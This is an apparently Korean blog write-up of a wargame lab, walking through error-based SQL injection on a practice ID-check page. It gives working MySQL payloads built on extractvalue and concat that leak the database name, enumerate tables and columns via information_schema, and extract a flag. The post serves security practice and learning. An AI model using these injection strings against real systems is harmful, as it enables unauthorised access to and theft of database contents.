-
SQL Injection - Error Based SQLi Basicwargame/segfault 2024. 6. 17. 10:34
이번 wargame의 목표는 Error Based SQL Injection의 실습이다. 그래서 전체적인 웹페이지 분석은 생략한다. 다만 post로 query를 보내고 있다.
id 중복 검사를 하는 페이지다. select문을 쓸 것이고 like 연산자를 쓰지 않을 것이라고 추측할 수 있다. 친절하게 실행되는 질의문도 보여준다.
만약 아무 쿼리나 넣으면 존재하지 않는 아이디라고 나온다.
SQL Injection 가능성 확인
normaltic' 을 삽입하면 에러 메시지가 출력된다.
normaltic' and '1'='1을 넣어도 존재하는 아이디라고 정상적으로 나오는 것을 보아 SQL Injection이 가능하다고 판단된다.
SQL Injection을 이용한 flag 찾기
1. 에러 출력 함수 선택
mysql에서 사용가능한 extractvalue 함수를 사용하겠다.
2.공격 format
' and extractvalue('1',concat(0x3a,(_________________))) and '1'='1
에 select문을 삽입하면 된다. 이때 여러개가 선택될 때는 limit 연산자를 꼭 써줘야 한다.
3. DB 이름 찾기
' and extractvalue('1',concat(0x3a,(select database()))) and '1'='1
삽입
DB 이름: errSqli
4. Table 이름 찾기
' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema='errSqli' limit 0,1))) and '1'='1
삽입
table: flagTable
table이 더 있지만 이것만 필요하기 때문에 이것만 알아본다.
5. Column 찾기
' and extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name='flagTable' limit 0,1))) and '1'='1
삽입
limit 1,1에 flag column 존재
column: idx, flag
6. Data 추출
' and extractvalue('1',concat(0x3a,(select flag from flagTable limit 0,1))) and '1'='1
삽입
flag 획득 완료!
'wargame > segfault' 카테고리의 다른 글
SQL Injection - 3 (0) 2024.06.17 SQL Injection - Blind Practice (0) 2024.06.17 SQL Injection - 2 (0) 2024.06.17 SQL Injection - 1 (0) 2024.06.17 Authentication Bypass - Secret Login (0) 2024.06.16